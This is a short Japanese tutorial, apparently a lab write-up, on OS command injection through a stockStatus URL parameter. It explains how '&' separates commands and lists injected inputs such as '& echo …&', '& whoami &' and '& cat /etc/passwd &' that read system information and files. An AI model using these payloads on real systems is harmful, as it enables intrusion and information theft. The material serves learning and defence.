Hello there, ('ω')ノ
🎯 どんな状況か?
以下のようなWebリクエストがあります:
https://insecure-website.com/stockStatus?productID=381&storeID=29
サーバー側ではこの入力を次のようなシェルコマンドに変換して実行していると想定されます:
stockreport.pl 381 29
💥 脆弱な実装:入力値に&
でコマンドを追加
攻撃者が以下のように productID
に特殊文字を使って入力したとします:
productID=& echo aiwefwlguh &
結果として実行されるOSコマンドは:
stockreport.pl & echo aiwefwlguh & 29
🧪 出力内容とその意味
出力例:
Error - productID was not provided aiwefwlguh 29: command not found
各行の意味:
行 | 内容 |
---|---|
1行目 | stockreport.pl が引数なしで呼ばれたためエラー発生 |
2行目 | echo aiwefwlguh により任意文字列が出力された(成功!) |
3行目 | 29 がコマンドとして解釈され、存在しないためエラー |
🛠 &
の使い方と効果
&
は コマンドの区切り記号(セパレータ) です- シェルは
cmd1 & cmd2
のように書かれると、それぞれ独立したコマンドとして実行します &
で前後を切り離すことで、後続の構文エラーの影響を受けにくくなる
🧠 攻撃パターン例(Linux想定)
入力 | 実行される例 |
---|---|
& whoami & |
サーバー上の実行ユーザー確認 |
& uname -a & |
OSの詳細情報取得 |
& ls / & |
ルートディレクトリの内容取得 |
& cat /etc/passwd & |
パスワードファイルの読み出し(情報収集) |
✅ まとめ
&
はコマンド注入において、シンプルかつ強力な区切り文字echo 任意文字列
を使えば、注入が成功したかの確認も可能- インジェクションが成功しているかを、出力の変化から確認するのが基本戦術
Best regards, (^^ゞ